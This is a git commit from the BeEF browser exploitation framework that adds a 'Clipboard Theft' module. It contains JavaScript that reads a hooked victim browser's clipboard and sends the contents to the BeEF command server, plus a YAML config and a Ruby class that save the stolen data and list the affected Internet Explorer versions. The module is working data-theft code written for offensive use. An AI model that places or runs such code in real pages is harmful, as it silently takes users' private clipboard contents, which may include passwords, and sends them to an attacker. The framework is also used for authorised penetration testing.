Added modules/misc/clipboard_theft/
git-svn-id: https://beef.googlecode.com/svn/trunk@1000 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
7
modules/misc/clipboard_theft/command.js
Normal file
7
modules/misc/clipboard_theft/command.js
Normal file
@@ -0,0 +1,7 @@
|
||||
beef.execute(function() {
|
||||
if (clipboardData.getData("Text") !== null) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboardData.getData("Text"));
|
||||
} else {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard=clipboardData.getData is null or not supported.");
|
||||
}
|
||||
});
|
||||
13
modules/misc/clipboard_theft/config.yaml
Normal file
13
modules/misc/clipboard_theft/config.yaml
Normal file
@@ -0,0 +1,13 @@
|
||||
beef:
|
||||
module:
|
||||
clipboard_theft:
|
||||
enable: true
|
||||
category: "Misc"
|
||||
name: "Clipboard Theft"
|
||||
description: "Retrieves the clipboard contents. This module will work automatically with Internet Explorer 6.x however Internet Explorer 7.x will prompt the user and ask for permission to access the clipboard."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
working: [IE6]
|
||||
not_working: [FF, O, C, IE8]
|
||||
user_notify: [IE7]
|
||||
|
||||
38
modules/misc/clipboard_theft/module.rb
Normal file
38
modules/misc/clipboard_theft/module.rb
Normal file
@@ -0,0 +1,38 @@
|
||||
class Clipboard_theft < BeEF::Core::Command
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Clipboard Theft',
|
||||
'Description' => 'Retrieves the clipboard contents. This module will work automatically with Internet Explorer 6.x however Internet Explorer 7.x will prompt the user and ask for permission to access the clipboard.',
|
||||
'Category' => 'Misc',
|
||||
'Author' => 'bcoles',
|
||||
'File' => __FILE__
|
||||
})
|
||||
|
||||
set_target({
|
||||
'verified_status' => VERIFIED_USER_NOTIFY,
|
||||
'browser_name' => IE
|
||||
})
|
||||
set_target({
|
||||
'verified_status' => VERIFIED_NOT_WORKING,
|
||||
'browser_name' => O
|
||||
})
|
||||
set_target({
|
||||
'verified_status' => VERIFIED_NOT_WORKING,
|
||||
'browser_name' => FF
|
||||
})
|
||||
set_target({
|
||||
'verified_status' => VERIFIED_NOT_WORKING,
|
||||
'browser_name' => C
|
||||
})
|
||||
|
||||
use_template!
|
||||
end
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['clipboard'] = @datastore['clipboard']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user